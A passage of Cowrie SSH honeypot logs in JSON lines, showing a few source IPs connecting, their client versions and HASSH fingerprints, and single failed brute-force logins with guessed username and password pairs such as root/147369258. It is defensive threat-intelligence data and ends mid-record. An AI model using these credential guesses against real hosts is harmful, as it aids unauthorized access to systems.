{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:05.052607Z","src_ip":"198.98.56.227","session":"829cc5be2445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:05.068496Z","src_ip":"198.98.56.227","session":"829cc5be2445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"admin123","message":"login attempt [esuser/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:05.137902Z","src_ip":"198.98.56.227","session":"829cc5be2445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:06.163835Z","src_ip":"198.98.56.227","session":"829cc5be2445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":28425,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b26f89ad12a","protocol":"ssh","message":"New connection: 193.24.211.100:28425 (159.203.135.109:22) [session: 2b26f89ad12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:07.628002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:07.632715Z","src_ip":"193.24.211.100","session":"2b26f89ad12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:07.743381Z","src_ip":"193.24.211.100","session":"2b26f89ad12a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147369258","message":"login attempt [root/147369258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:08.224866Z","src_ip":"193.24.211.100","session":"2b26f89ad12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:09.336982Z","src_ip":"193.24.211.100","session":"2b26f89ad12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":57760,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e8d48c1303a","protocol":"ssh","message":"New connection: 50.225.176.238:57760 (10.17.0.5:22) [session: 5e8d48c1303a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:23.544096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:23.548495Z","src_ip":"50.225.176.238","session":"5e8d48c1303a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:23.562655Z","src_ip":"50.225.176.238","session":"5e8d48c1303a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.2024","message":"login attempt [root/admin.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:23.639345Z","src_ip":"50.225.176.238","session":"5e8d48c1303a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:24.653759Z","src_ip":"50.225.176.238","session":"5e8d48c1303a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":39746,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58f8a023f37","protocol":"ssh","message":"New connection: 198.98.56.227:39746 (10.17.0.5:22) [session: e58f8a023f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:49.494214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:49.506164Z","src_ip":"198.98.56.227","session":"e58f8a023f37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:49.510160Z","src_ip":"198.98.56.227","session":"e58f8a023f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"qweasdzxc","message":"login attempt [testtest/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:49.547554Z","src_ip":"198.98.56.227","session":"e58f8a023f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:03:50.557042Z","src_ip":"198.98.56.227","session":"e58f8a023f37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":34734,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a5c8a9c26a9","protocol":"ssh","message":"New connection: 50.225.176.238:34734 (10.17.0.5:22) [session: 8a5c8a9c26a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:15.549245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:15.553468Z","src_ip":"50.225.176.238","session":"8a5c8a9c26a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:15.569795Z","src_ip":"50.225.176.238","session":"8a5c8a9c26a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rustserver","password":"rustserver","message":"login attempt [rustserver/rustserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:15.649674Z","src_ip":"50.225.176.238","session":"8a5c8a9c26a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:16.665614Z","src_ip":"50.225.176.238","session":"8a5c8a9c26a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":56140,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d3efa2c0b6","protocol":"ssh","message":"New connection: 198.98.56.227:56140 (10.17.0.5:22) [session: 14d3efa2c0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:36.891626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:36.907758Z","src_ip":"198.98.56.227","session":"14d3efa2c0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:36.912704Z","src_ip":"198.98.56.227","session":"14d3efa2c0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser11","message":"login attempt [testuser/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:36.950239Z","src_ip":"198.98.56.227","session":"14d3efa2c0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:04:37.961602Z","src_ip":"198.98.56.227","session":"14d3efa2c0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":55770,"dst_ip":"10.17.0.5","dst_port":22,"session":"300c8169051a","protocol":"ssh","message":"New connection: 50.225.176.238:55770 (10.17.0.5:22) [session: 300c8169051a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:04.908295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:04.914360Z","src_ip":"50.225.176.238","session":"300c8169051a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:04.931454Z","src_ip":"50.225.176.238","session":"300c8169051a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:05.011709Z","src_ip":"50.225.176.238","session":"300c8169051a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:06.031480Z","src_ip":"50.225.176.238","session":"300c8169051a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":44302,"dst_ip":"10.17.0.5","dst_port":22,"session":"36fbfd6eb729","protocol":"ssh","message":"New connection: 198.98.56.227:44302 (10.17.0.5:22) [session: 36fbfd6eb729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:21.596734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:21.601619Z","src_ip":"198.98.56.227","session":"36fbfd6eb729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:21.618335Z","src_ip":"198.98.56.227","session":"36fbfd6eb729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd@123","message":"login attempt [ubuntu/passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:21.683966Z","src_ip":"198.98.56.227","session":"36fbfd6eb729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:22.708284Z","src_ip":"198.98.56.227","session":"36fbfd6eb729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":39512,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb1be274cfc","protocol":"ssh","message":"New connection: 50.225.176.238:39512 (10.17.0.5:22) [session: 2bb1be274cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:54.548813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:54.554199Z","src_ip":"50.225.176.238","session":"2bb1be274cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed255